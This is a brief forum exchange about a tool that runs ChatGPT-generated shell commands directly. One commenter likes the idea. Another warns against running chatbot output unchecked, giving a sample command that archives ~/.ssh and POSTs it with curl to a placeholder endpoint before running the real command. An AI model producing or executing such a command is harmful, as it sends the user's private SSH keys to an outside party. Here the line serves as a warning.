by elcomet · 2y ago · 0 comments
I'd say it's a pretty common idea today to ask chatGPT for help in complicated commands. Putting it in the shell directly is smart and helpful.
Maybe the implementations has some flaws (it seems quite unsafe), but the idea is rather good in my opinion.
Directly executing commands given by a chat bot on your machine it without inspecting it first is pure madness.
tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED
What could possibly go wrong, right?